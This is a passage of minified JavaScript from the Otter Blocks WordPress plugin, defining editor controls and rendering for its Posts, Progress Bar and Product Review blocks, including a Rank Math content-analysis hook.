0!==s?s:"30px",onChange:e=>S(e,["rowGap","rowGapTablet","rowGapMobile"])}),(0,i.createElement)(g.Cd,{values:["rowGap","rowGapTablet","rowGapMobile"],setAttributes:t})),(0,i.createElement)(g.n9,{label:(0,o.__)("Content Padding","otter-blocks")},(0,i.createElement)(p.__experimentalUnitControl,{value:T([e.padding,e.paddingTablet,e.paddingMobile]),onChange:e=>S(e,["padding","paddingTablet","paddingMobile"])}),(0,i.createElement)(g.Cd,{values:["padding","paddingTablet","paddingMobile"],setAttributes:t})),(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Space Between","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:Ho,withReset:!0,value:e.contentGap,onChange:e=>t({contentGap:e})})),e.hasPagination&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Pagination Gap","otter-blocks"),value:e.pagGap?parseInt(e.pagGap):5,onChange:e=>t({pagGap:e+"px"}),min:0,max:50}),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Pagination Padding","otter-blocks"),values:null!==(c=e.pagPadding)&&void 0!==c?c:{top:"5px",right:"15px",bottom:"5px",left:"15px"},onChange:e=>t({pagPadding:e}),allowReset:!0}),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Pagination Container Margin","otter-blocks"),values:null!==(d=e.pagContMargin)&&void 0!==d?d:{top:"10px",bottom:"30px"},onChange:e=>t({pagContMargin:e}),sides:["top","bottom"],allowReset:!0}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Width","otter-blocks"),value:null!==(f=e.borderWidth)&&void 0!==f?f:"0px",onChange:e=>t({borderWidth:e})}),(0,i.createElement)(g.Cd,{values:["borderWidth"],setAttributes:t}),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Radius","otter-blocks"),values:null!==(v=e.cardBorderRadius)&&void 0!==v?v:(0,W.rO)("0px"),onChange:e=>t({cardBorderRadius:e}),id:"o-border-raduis-box"}),e.hasPagination&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Pagination Border Radius","otter-blocks"),values:null!==(_=e.pagBorderRadius)&&void 0!==_?_:(0,W.rO)("0px"),onChange:e=>t({pagBorderRadius:e}),id:"o-border-raduis-box",allowReset:!0}),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Pagination Border Width","otter-blocks"),values:null!==(C=e.pagBorderWidth)&&void 0!==C?C:(0,W.rO)("0px"),onChange:e=>t({pagBorderWidth:e}),allowReset:!0})),(0,i.createElement)(g.I7,{boxShadow:e.boxShadow,onChange:e=>z("boxShadow",e)}))))},Ao=({id:e,link:t,alt:l,size:o,imgStyle:a})=>{const{featuredImage:n,altText:r}=(0,m.useSelect)((t=>{const a=t("core").getMedia(e,{context:"view"});return{featuredImage:a?"string"!=typeof a&&!(0,A.isEmpty)(a.media_details)&&0<Object.keys(a.media_details.sizes).length&&a.media_details.sizes[o]?a.media_details.sizes[o].source_url:a.source_url:null,altText:a&&a.alt_text?a.alt_text:l}}),[o,e]);return null===n?(0,i.createElement)(b.Fragment,null):(0,i.createElement)("div",{className:"o-posts-grid-post-image"},(0,i.createElement)("a",{href:t},n?(0,i.createElement)("img",{src:n,size:o,alt:r,"data-id":e,style:a}):(0,i.createElement)(p.Placeholder,null,(0,i.createElement)(p.Spinner,null))))};const Vo=({attributes:e,element:t,category:l,categoriesList:o})=>void 0!==l&&e.displayCategory&&o?(0,i.createElement)("span",{key:t,className:"o-posts-grid-post-category"},l.name):"",Do=({attributes:e,element:t,post:l})=>{if(!e.displayTitle)return"";const o=["h1","h2","h3","h4","h5","h6"].includes(e.titleTag)?e.titleTag:"h5";return(0,i.createElement)(o,{key:t,className:"o-posts-grid-post-title"},(0,i.createElement)("a",{href:l.link},(0,h.Uo)(l.title?.rendered)))},Go=({attributes:e,element:t,post:l,author:a,categories:n})=>{if(e.displayMeta&&(e.displayDate||e.displayAuthor||e.displayComments||e.displayPostCategory)){const r=[];let s="";return e.displayDate&&(e.displayUpdatedDate? /* translators: %s Date updated */ s+=(0,o.sprintf)((0,o.__)("Updated on %s","otter-blocks"),(0,h.p6)(l.modified)): /* translators: %s Date posted */ s+=(0,o.sprintf)((0,o.__)("Posted on %s","otter-blocks"),(0,h.p6)(l.date))),e.displayAuthor&&void 0!==a&&( /* translators: %s Author of the post */ s+=(0,o.sprintf)((0,o.__)(" by %s","otter-blocks"),a.name)),r.push(s),e.displayComments&&r.push((0,o.sprintf)("%1$s %2$s","0",(0,o.__)("comments","otter-blocks"))),e.displayPostCategory&&Boolean(n.length)&&r.push(n.map((({name:e})=>e)).join(", ")),(0,i.createElement)("p",{key:t,className:"o-posts-grid-post-meta"},r.join(" / "))}return""},jo=({attributes:e,element:t,post:l})=>0<e.excerptLength&&e.displayDescription?(0,i.createElement)("div",{key:t,className:"o-posts-grid-post-description"},(0,i.createElement)("p",null,l.excerpt?.rendered&&(0,h.Uo)(l.excerpt.rendered).substring(0,e.excerptLength)+"…"),e.displayReadMoreLink&&(0,i.createElement)("a",{href:l.link,className:"o-posts-read-more"},(0,o.__)("Read more","otter-blocks"))):"",Wo=()=>(0,i.createElement)("div",{className:"o-posts-grid-pag"},(0,i.createElement)("a",{className:"page-numbers"},(0,o.__)("Prev","otter-blocks")),(0,i.createElement)("a",{className:"page-numbers","aria-current":"page"},(0,o.__)("1","otter-blocks")),(0,i.createElement)("span",{className:"page-numbers"},(0,o.__)("2","otter-blocks")),(0,i.createElement)("a",{className:"page-numbers"},(0,o.__)("3","otter-blocks")),(0,i.createElement)("span",{className:"page-numbers dots"},"..."),(0,i.createElement)("a",{className:"page-numbers"},(0,o.__)("8","otter-blocks")),(0,i.createElement)("a",{className:"page-numbers"},(0,o.__)("Next","otter-blocks")));var $o=({attributes:e,posts:t,categoriesList:l,authors:o})=>{const a=t.filter((e=>e));return(0,i.createElement)("div",{className:"grid"===e.style?c()("is-grid",`o-posts-grid-columns-${e.columns}`,{"o-crop-img":e.cropImage}):c()("is-list",{"o-crop-img":e.cropImage})},a.slice(e.enableFeaturedPost?1:0).map((t=>{const a=l&&0<t?.categories?.length?l.find((e=>e.id===t.categories[0])):void 0,n=l&&0<t?.categories?.length?l.filter((e=>t.categories.includes(e.id))):[],r=o&&t.author?o.find((e=>e.id===t.author)):void 0;return(0,i.createElement)("div",{key:t.link,className:"o-posts-grid-post-blog o-posts-grid-post-plain"},(0,i.createElement)("div",{className:c()("o-posts-grid-post")},0!==t.featured_media&&e.displayFeaturedImage&&(0,i.createElement)(Ao,{id:t.featured_media,link:t.link,alt:t.title?.rendered,size:e.imageSize,imgStyle:{borderRadius:void 0!==e.borderRadius?e.borderRadius+"px":void 0}}),(0,i.createElement)("div",{className:c()("o-posts-grid-post-body",{"is-full":!e.displayFeaturedImage})},e.template.map((o=>{switch(o){case"category":return(0,i.createElement)(Vo,{key:o,attributes:e,element:o,category:a,categoriesList:l});case"title":return(0,i.createElement)(Do,{key:o,attributes:e,element:o,post:t});case"meta":return(0,i.createElement)(Go,{key:o,attributes:e,element:o,post:t,author:r,categories:n});case"description":return(0,i.createElement)(jo,{key:o,attributes:e,element:o,post:t});default:return(0,Fe.applyFilters)("otter.postsBlock.templateLoop","",o,e)}})))))})))};const Uo={posts:{slugs:[],usedSlugs:[]}};(0,m.registerGenericStore)("otter-store",(()=>{let e=()=>{};const t=Uo,l={getPostsSlugs(){return t.posts.slugs},getPostsUsedSlugs(){return t.posts.usedSlugs}},o={setPostsSlugs(l){t.posts.slugs=l,e()},setPostsUsedSlugs(l){t.posts.usedSlugs.push(...l),e()},setOnlyOneSlug(l){t.posts.usedSlugs=[l],e()},removePostsUsedSlugs(l){t.posts.usedSlugs=t.posts.usedSlugs.filter((e=>!l.includes(e))),e()}};return{getSelectors(){return l},getActions(){return o},subscribe(t){e=t}}})());var Zo=({post:e,attributes:t,author:l,categoriesList:o})=>{if(!e)return"";const a=o&&0<e?.categories?.length?o.find((t=>t.id===e.categories[0])):void 0;return(0,i.createElement)("div",{className:"o-featured-container"},(0,i.createElement)("div",{className:"o-featured-post"},t.displayFeaturedImage&&(0,i.createElement)(Ao,{id:e.featured_media,link:e.link,alt:e.title?.rendered,imgStyle:{borderRadius:void 0!==t.borderRadius?t.borderRadius+"px":void 0}}),(0,i.createElement)("div",{className:"o-posts-grid-post-body"},t.template.map((n=>{const r=o&&0<e?.categories?.length?o.filter((t=>e.categories.includes(t.id))):[];switch(n){case"category":return(0,i.createElement)(Vo,{attributes:t,element:n,category:a,categoriesList:o});case"title":return(0,i.createElement)(Do,{attributes:t,element:n,post:e});case"meta":return(0,i.createElement)(Go,{attributes:t,element:n,post:e,author:l,categories:r});case"description":return(0,i.createElement)(jo,{attributes:t,element:n,post:e});default:return(0,Fe.applyFilters)("otter.postsBlock.templateLoop","",n,t)}})))))};const{attributes:qo}=Eo;var Yo;Yo=()=>{let e=10;const t=setInterval((()=>{window?.rankMathEditor?(clearInterval(t),window.wp.hooks.addFilter("rank_math_content","rank-math",(e=>{var t;const l=document.querySelectorAll(".o-posts-grid-post-body");return(null!=e?e:"")+(null!==(t=Array.from(l)?.map((e=>e.innerHTML))?.join(""))&&void 0!==t?t:"")})),window?.rankMathEditor?.refresh("content")):(e--,0===e&&clearInterval(t))}),1e3)},"undefined"!=typeof document&&("complete"!==document.readyState&&"interactive"!==document.readyState?document.addEventListener("DOMContentLoaded",Yo):Yo());const{name:Ko}=Eo;(0,a.registerBlockType)(Ko,{...Eo,title:(0,o.__)("Posts","otter-blocks"),description:(0,o.__)("Display a list of your most recent posts in a beautiful layout. Powered by Otter.","otter-blocks"),icon:r.postsIcon,keywords:["posts","grid","news"],deprecated:So,edit:({attributes:e,setAttributes:t,clientId:l})=>{(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,qo);return()=>t(e.id)}),[e.id]);const[a,n]=(0,b.useState)([]),{posts:r,categoriesList:s,authors:c,isLoading:d}=(0,m.useSelect)((t=>{var l,o;const a=e.categories&&0<e.categories.length?e.categories.map((e=>e.id)):[],n=(0,A.pickBy)({categories:a,order:e.order,orderby:e.orderBy,per_page:e.postsToShow,offset:e.offset,context:"view"},(e=>!(0,A.isUndefined)(e)));let r=[],i=!1;const s=e.postTypes;if(0<s.length){const{posts:e,isLoading:l,error:o}=s.reduce(((e,l)=>{const{posts:o,isLoading:r}=(e=>{if("product"===e){var l,o;const{COLLECTIONS_STORE_KEY:r}=window?.wc?.wcBlocksData;if(!r)return{posts:[],isLoading:!1};if(n.category=a.join(","),t(r).getCollectionError("/wc/store","products",n))return{posts:[],isLoading:!1};const i=null!==(l=t(r).getCollection("/wc/store","products",n))&&void 0!==l?l:[];if(t(r).isResolving("/wc/store","products",n))return{posts:[],isLoading:!0};const s=i.map((({id:e})=>e));return{posts:null!==(o=t("core").getEntityRecords("postType",e,{include:s}))&&void 0!==o?o:[],isLoading:t("core").isResolving("getEntityRecords",["postType",e,{include:s}])}}return{posts:t("core").getEntityRecords("postType",e,n),isLoading:t("core").isResolving("getEntityRecords",["postType",e,n])}})(l);return{posts:[...e.posts,...null!=o?o:[]],isLoading:e.isLoading||r}}),{posts:[],isLoading:!1});r=e,i=l}else r=t("core").getEntityRecords("postType","post",n),i=t("core").isResolving("getEntityRecords",["postType","post",n]);var c,d;e.featuredPostOrder&&0<r?.length&&(r=[...null!==(c=r?.filter((({sticky:e})=>Boolean(e))))&&void 0!==c?c:[],...null!==(d=r?.filter((({sticky:e})=>!Boolean(e))))&&void 0!==d?d:[]]),r=null!==(l=r?.filter(Boolean))&&void 0!==l?l:[];const u=null!==(o=t("core")?.getTaxonomies()?.map((({slug:e})=>e))?.filter((e=>s.some((t=>e===`${t}_cat`)))))&&void 0!==o?o:[];0===u.length&&u.push("category");const b=u.map((e=>{var l;return null!==(l=t("core").getEntityRecords("taxonomy",e,{per_page:-1}))&&void 0!==l?l:[]})).flat();return window?.rankMathEditor&&(0,A.debounce)((()=>{window?.rankMathEditor.refresh("content")}),500),{posts:r,categoriesList:b,authors:t("core").getUsers({who:"authors",context:"view"}),isLoading:i}}),[e.categories,e.order,e.orderBy,e.postsToShow,e.offset,e.postTypes,e.featuredPostOrder]),{responsiveGetAttributes:g}=(0,k.Y)();(0,b.useEffect)((()=>{(async()=>{n(await(0,h.R3)())})()}),[]),(0,b.useEffect)((()=>{(0,m.dispatch)("otter-store").setPostsSlugs(a)}),[a]),(0,k.W)(e.backgroundColor,e,t);const f=t=>(0,y.getDefaultValueByField)({name:name,field:t,defaultAttributes:qo,attributes:e}),v=f("imageBoxShadow"),_=f("boxShadow"),C={"--img-border-radius":(0,A.isObject)(e.borderRadius)?(0,h.bv)(e.borderRadius):(0,h.Yj)(e.borderRadius),"--img-box-shadow":v.active&&`${v.horizontal}px ${v.vertical}px ${v.blur}px ${v.spread}px ${(0,h.rW)(v.color,v.colorOpacity)}`,"--border-width":(0,h.Yj)(e.borderWidth),"--border-radius":(0,h.bv)(e.cardBorderRadius),"--box-shadow":_.active&&`${_.horizontal}px ${_.vertical}px ${_.blur}px ${_.spread}px ${(0,h.rW)(_.color,_.colorOpacity)}`,"--vert-align":(0,h.Vg)(e.verticalAlign),"--text-align":e.textAlign,"--text-color":e.textColor,"--background-color":e.backgroundColor,"--border-color":e.borderColor,"--content-gap":e.contentGap,"--img-width":g([(0,h.Yj)(e.imageWidth),e.imageWidthTablet,e.imageWidthMobile]),"--img-width-tablet":e.imageWidthTablet,"--img-width-mobile":e.imageWidthMobile,"--title-text-size":g([(0,h.Yj)(e.customTitleFontSize),(0,h.Yj)(e.customTitleFontSizeTablet),(0,h.Yj)(e.customTitleFontSizeTablet)]),"--title-text-size-tablet":(0,h.Yj)(e.customTitleFontSizeTablet),"--title-text-size-mobile":(0,h.Yj)(e.customTitleFontSizeMobile),"--description-text-size":g([(0,h.Yj)(e.customDescriptionFontSize),(0,h.Yj)(e.customDescriptionFontSizeTablet),(0,h.Yj)(e.customDescriptionFontSizeMobile)]),"--description-text-size-tablet":(0,h.Yj)(e.customDescriptionFontSizeTablet),"--description-text-size-mobile":(0,h.Yj)(e.customDescriptionFontSizeMobile),"--meta-text-size":g([e.customMetaFontSize,e.customMetaFontSizeTablet,e.customMetaFontSizeMobile]),"--meta-text-size-tablet":e.customMetaFontSizeTablet,"--meta-text-size-mobile":e.customMetaFontSizeMobile,"--column-gap":g([e.columnGap,e.columnGapTablet,e.columnGapMobile]),"--column-gap-tablet":e.columnGapTablet,"--column-gap-mobile":e.columnGapMobile,"--row-gap":g([e.rowGap,e.rowGapTablet,e.rowGapMobile]),"--row-gap-tablet":e.rowGapTablet,"--row-gap-mobile":e.rowGapMobile,"--content-padding":g([e.padding,e.paddingTablet,e.paddingMobile]),"--content-padding-tablet":e.paddingTablet,"--content-padding-mobile":e.paddingMobile,"--pag-color":e.pagColor,"--pag-bg-color":e.pagBgColor,"--pag-color-hover":e.pagColorHover,"--pag-bg-color-hover":e.pagBgColorHover,"--pag-color-active":e.pagColorActive,"--pag-bg-color-active":e.pagBgColorActive,"--pag-border-color":e.pagBorderColor,"--pag-border-color-hover":e.pagBorderColorHover,"--pag-border-color-active":e.pagBorderColorActive,"--pag-border-radius":(0,h.bv)(e.pagBorderRadius),"--pag-border-width":(0,h.bv)(e.pagBorderWidth),"--pag-padding":(0,h.bv)(e.pagPadding,{top:"5px",right:"15px",bottom:"5px",left:"15px"}),"--pag-gap":e.pagGap,"--pag-size":e.pagSize,"--pag-cont-margin":(0,h.bv)(e.pagContMargin,{top:"10px",bottom:"30px"})},w=(0,u.useBlockProps)();return(0,i.createElement)(b.Fragment,null,s&&(0,i.createElement)(No,{attributes:e,setAttributes:t,categoriesList:s,isLoading:d}),(0,i.createElement)(To,{attributes:e,setAttributes:t}),(0,i.createElement)((({posts:e,categoriesList:t,authors:l,blockProps:a,inlineStyles:n,attributes:r})=>e&&t&&l&&!d?0===e.length?(0,i.createElement)("div",{...a},(0,i.createElement)(p.Placeholder,null,(0,o.__)("No Posts","otter-blocks"))):(0,i.createElement)("div",{...a,style:n},(0,i.createElement)(p.Disabled,null,r.enableFeaturedPost&&(0,i.createElement)(Zo,{attributes:r,post:e?.[0],categoriesList:t,author:l[0]}),(0,i.createElement)($o,{attributes:r,posts:e,categoriesList:t,authors:l})),r.hasPagination&&(0,i.createElement)(Wo,null)):(0,i.createElement)("div",{...a},(0,i.createElement)(p.Placeholder,null,(0,i.createElement)(p.Spinner,null),(0,o.__)("Loading Posts","otter-blocks")))),{posts:r,categoriesList:s,authors:c,blockProps:w,inlineStyles:C,attributes:e}))},save:()=>null,example:{attributes:{}}});var Jo=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/progress-bar","title":"Progress Bar","category":"themeisle-blocks","description":"Show your progress with a beautiful Progress Bar block. Powered by Otter.","keywords":["progress","bar","skills"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"title":{"type":"string","default":"Skill"},"percentage":{"type":"number","default":50},"duration":{"type":"number","default":2},"titleStyle":{"type":"string","default":"default"},"percentagePosition":{"type":"string","default":"default"},"height":{"type":"number","default":30},"borderRadius":{"type":"number"},"backgroundColor":{"type":"string"},"barBackgroundColor":{"type":"string"},"titleColor":{"type":"string"},"percentageColor":{"type":"string"},"titleFontSize":{"type":"string"}},"editorStyle":"otter-progress-bar-editor","style":"otter-progress-bar-style","script":"otter-progress-bar"}');const Xo=[{name:(0,o.__)("Small","otter-blocks"),size:"0.875em",slug:"small"},{name:(0,o.__)("Medium","otter-blocks"),size:"1em",slug:"medium"},{name:(0,o.__)("Large","otter-blocks"),size:"1.125em",slug:"large"},{name:(0,o.__)("XL","otter-blocks"),size:"1.25em",slug:"xl"}];var Qo=({attributes:e,setAttributes:t,onHeightChange:l,heightMode:a,setHeightMode:n})=>{const[r,s]=(0,y.useTabSwitch)(e.id,"settings");return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:r,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:s}),(0,i.createElement)("div",null,"settings"===r&&(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Options","otter-blocks"),initialOpen:!0},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Title","otter-blocks"),value:e.title,onChange:e=>t({title:e})}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Percentage","otter-blocks"),help:(0,o.__)("The value of the progress bar.","otter-blocks"),value:e.percentage,onChange:e=>{void 0!==e&&(e=(0,A.clamp)(e,0,100),t({percentage:e}))},min:0,max:100})),"style"===r&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Title and Percentage","otter-blocks"),initialOpen:!1},30<=e.height&&(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Title Style","otter-blocks"),value:e.titleStyle,options:[{label:(0,o.__)("Default","otter-blocks"),value:"default"},{label:(0,o.__)("Highlight","otter-blocks"),value:"highlight"},{label:(0,o.__)("Outer","otter-blocks"),value:"outer"}],onChange:e=>t({titleStyle:e})}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Percentage Style","otter-blocks"),value:e.percentagePosition,options:[{label:(0,o.__)("Default","otter-blocks"),value:"default"},{label:(0,o.__)("Append","otter-blocks"),value:"append"},{label:(0,o.__)("Tooltip","otter-blocks"),value:"tooltip"},{label:(0,o.__)("Outer","otter-blocks"),value:"outer"},{label:(0,o.__)("Hide","otter-blocks"),value:"hide"}],onChange:e=>{a.isAutomatic&&(a.percentagePosition=e,n({...a})),t({percentagePosition:e})}}),("outer"===e.titleStyle||"tooltip"===e.percentagePosition&&"outer"===e.percentagePosition)&&(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Outer Text Font Size","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:Xo,withReset:!0,value:e.titleFontSize,onChange:e=>t({titleFontSize:e})}))),(0,i.createElement)(u.PanelColorSettings,{title:(0,o.__)("Color","otter-blocks"),colorSettings:[{value:e.titleColor,onChange:e=>t({titleColor:e}),label:(0,o.__)("Title","otter-blocks")},{value:e.barBackgroundColor,onChange:e=>t({barBackgroundColor:e}),label:(0,o.__)("Progress","otter-blocks")},{value:e.percentageColor,onChange:e=>t({percentageColor:e}),label:(0,o.__)("Percentage","otter-blocks")},{value:e.backgroundColor,onChange:e=>t({backgroundColor:e}),label:(0,o.__)("Background","otter-blocks")}]}),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions and Motion","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Duration","otter-blocks"),help:(0,o.__)("The duration of the animation.","otter-blocks"),value:e.duration,onChange:e=>{void 0!==e&&(e=(0,A.clamp)(e,0,3),t({duration:e}))},min:0,max:3,step:.1}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Height","otter-blocks"),help:(0,o.__)("The height of the progress bar.","otter-blocks"),value:e.height,onChange:l,step:.1,min:5,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Border Radius","otter-blocks"),help:(0,o.__)("Round the corners of the progress bar.","otter-blocks"),value:e.borderRadius,onChange:e=>t({borderRadius:e}),step:.1,initialPosition:5,min:0,max:35})))))};const{attributes:ea}=Jo;const ta={to:[{type:"block",blocks:["themeisle-blocks/circle-counter"],transform:e=>{const t=(0,A.omit)(e,["titleStyle","percentagePosition","height","borderRadius","barBackgroundColor","percentageColor"]);return(0,a.createBlock)("themeisle-blocks/circle-counter",{...t,progressColor:e.barBackgroundColor,height:(0,A.clamp)(4*e.height,0,240),titleStyle:"default"})}}]};var la=ta;const{name:oa}=Jo;(0,a.registerBlockType)(oa,{...Jo,title:(0,o.__)("Progress Bar","otter-blocks"),description:(0,o.__)("Show your progress with a beautiful Progress Bar block. Powered by Otter.","otter-blocks"),icon:r.progressIcon,keywords:["progress","bar","skills"],transforms:la,edit:({attributes:e,setAttributes:t,isSelected:l,clientId:o,toggleSelection:a})=>{(0,b.useEffect)((()=>{const t=(0,y.blockInit)(o,ea);return()=>t(e.id)}),[e.id]);const n=(0,b.useRef)(null),[r,s]=(0,b.useState)(!1),[d,m]=(0,b.useState)({isAutomatic:!1,titleStyle:e.titleStyle,percentagePosition:e.percentagePosition}),g=(0,b.useRef)(null);(0,b.useEffect)((()=>{let t=null;if(g.current)return s(!1),t=setTimeout((()=>s(!0)),1e3*e.duration),g.current.animate({width:`${e.percentage}%`},{duration:1e3*e.duration,easing:"linear",fill:"forwards"}),()=>{clearTimeout(t)}}),[e.percentage,e.duration]);const h={"--title-color":e.titleColor,"--percentage-color":e.percentageColor,"--percentage-color-outer":e.percentageColor,"--percentage-color-tooltip":e.percentageColor,"--percentage-color-append":e.percentageColor,"--background-color":e.backgroundColor,"--border-radius":void 0!==e.borderRadius&&e.borderRadius+"px","--height":void 0!==e.height&&e.height+"px","--bar-background":e.barBackgroundColor,"--title-font-size":e.titleFontSize},k=l=>{30>l?(d.isAutomatic||m({isAutomatic:!0,titleStyle:e.titleStyle,percentagePosition:e.percentagePosition}),t({height:l,titleStyle:"outer",percentagePosition:"append"===e.percentagePosition||"default"===e.percentagePosition?"outer":e.percentagePosition})):(d.isAutomatic&&m({isAutomatic:!1}),t({titleStyle:d.isAutomatic?d.titleStyle:e.titleStyle,percentagePosition:d.isAutomatic?d.percentagePosition:e.percentagePosition,height:l}))},f=(0,u.useBlockProps)({id:e.id,className:c()({"has-tooltip":"tooltip"===e.percentagePosition}),style:h});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(Qo,{attributes:e,setAttributes:t,onHeightChange:k,heightMode:d,setHeightMode:m}),(0,i.createElement)("div",{...f},("outer"===e.titleStyle||"outer"===e.percentagePosition)&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__outer"},"outer"===e.titleStyle&&(0,i.createElement)(u.RichText,{tagName:"span",allowedFormats:[],className:"wp-block-themeisle-blocks-progress-bar__outer__title",value:e.title,onChange:e=>t({title:e})}),"outer"===e.percentagePosition&&r&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__outer__value wp-block-themeisle-blocks-progress-bar__number"},`${e.percentage}%`)),(0,i.createElement)(p.ResizableBox,{size:{height:e.height},minHeight:5,maxHeight:100,enable:{top:!1,right:!1,bottom:!0,left:!1},showHandle:l,onResizeStop:(t,l,o,n)=>{k(parseInt(e.height+n.height,10)),a(!0)},onResizeStart:()=>{a(!1)}},(0,i.createElement)("div",{ref:n,className:"wp-block-themeisle-blocks-progress-bar__area"},("default"===e.titleStyle||"highlight"===e.titleStyle)&&(0,i.createElement)("div",{className:c()("wp-block-themeisle-blocks-progress-bar__area__title",{highlight:"highlight"===e.titleStyle})},(0,i.createElement)(u.RichText,{tagName:"span",allowedFormats:[],value:e.title,onChange:e=>t({title:e})})),(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__area__bar show",ref:g},"tooltip"===e.percentagePosition&&r&&(0,i.createElement)("span",{className:"wp-block-themeisle-blocks-progress-bar__area__tooltip show"},`${e.percentage}%`,(0,i.createElement)("span",{className:"wp-block-themeisle-blocks-progress-bar__area__arrow"})),"append"===e.percentagePosition&&r&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__progress__append show"},`${e.percentage}%`)),"default"===e.percentagePosition&&r&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__progress"},`${e.percentage}%`)))))},save:({attributes:e})=>{const t=u.useBlockProps.save({id:e.id,className:c()({"has-tooltip":"tooltip"===e.percentagePosition}),"data-percent":e.percentage,"data-duration":e.duration});return(0,i.createElement)("div",{...t},("outer"===e.titleStyle||"outer"===e.percentagePosition)&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__outer"},"outer"===e.titleStyle&&(0,i.createElement)("span",{className:"wp-block-themeisle-blocks-progress-bar__outer__title"},e.title),"outer"===e.percentagePosition&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__outer__value wp-block-themeisle-blocks-progress-bar__number"},e.percentage)),(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__area"},("default"===e.titleStyle||"highlight"===e.titleStyle)&&(0,i.createElement)("div",{className:c()("wp-block-themeisle-blocks-progress-bar__area__title",{highlight:"highlight"===e.titleStyle})},(0,i.createElement)("span",null,e.title)),(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__area__bar"},"tooltip"===e.percentagePosition&&(0,i.createElement)("span",{className:"wp-block-themeisle-blocks-progress-bar__area__tooltip"},(0,i.createElement)("span",{className:"wp-block-themeisle-blocks-progress-bar__number"},e.percentage),(0,i.createElement)("span",{className:"wp-block-themeisle-blocks-progress-bar__area__arrow"})),"append"===e.percentagePosition&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__progress__append wp-block-themeisle-blocks-progress-bar__number"},e.percentage)),"default"===e.percentagePosition&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-progress-bar__progress wp-block-themeisle-blocks-progress-bar__number"},`${e.percentage}%`)))},example:{}});var aa=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/review","title":"Product Review","category":"themeisle-blocks","description":"Turn your posts into smart reviews with ratings and generate leads with a performing review block. Powered by Otter.","keywords":["product","review","stars"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"title":{"type":"string"},"currency":{"type":"string","default":"USD"},"price":{"type":"number"},"discounted":{"type":"number"},"image":{"type":"object"},"description":{"type":"string"},"features":{"type":"array","default":[{"title":"Stability","rating":9},{"title":"Ease of Use","rating":4},{"title":"Look & Feel","rating":9},{"title":"Price","rating":7}]},"pros":{"type":"array","default":["Easy to use","Good price","Sturdy build and ergonomics"]},"cons":{"type":"array","default":["Incompatible with old versions","Hard to assemble","Bad color combination"]},"links":{"type":"array","default":[{"label":"Buy on Amazon","href":"","isSponsored":false,"target":"_blank"},{"label":"Buy on eBay","href":"","isSponsored":false,"target":"_blank"}]},"prosLabel":{"type":"string","default":"Pros"},"consLabel":{"type":"string","default":"Cons"},"buttonsLabel":{"type":"string","default":"Buy this Product"},"imageWidth":{"type":"number"},"imageSize":{"type":"string"},"mainHeading":{"type":"string"},"subHeading":{"type":"string"},"contentFontSize":{"type":"string"},"primaryColor":{"type":"string"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"buttonTextColor":{"type":"string"},"borderColor":{"type":"string"},"starsColor":{"type":"string"},"prosColor":{"type":"string"},"consColor":{"type":"string"},"padding":{"type":"object"},"paddingTablet":{"type":"object"},"paddingMobile":{"type":"object"},"borderWidth":{"type":"number"},"borderRadius":{"type":"number"},"boxShadow":{"type":"object","default":{"active":false,"colorOpacity":50,"blur":5,"spread":1,"horizontal":0,"vertical":0}},"isSynced":{"type":"array"}},"supports":{"align":["full","wide"],"html":false},"editorStyle":"otter-review-editor","style":"otter-review-style"}'),na=l(1463),ra=l.n(na);const 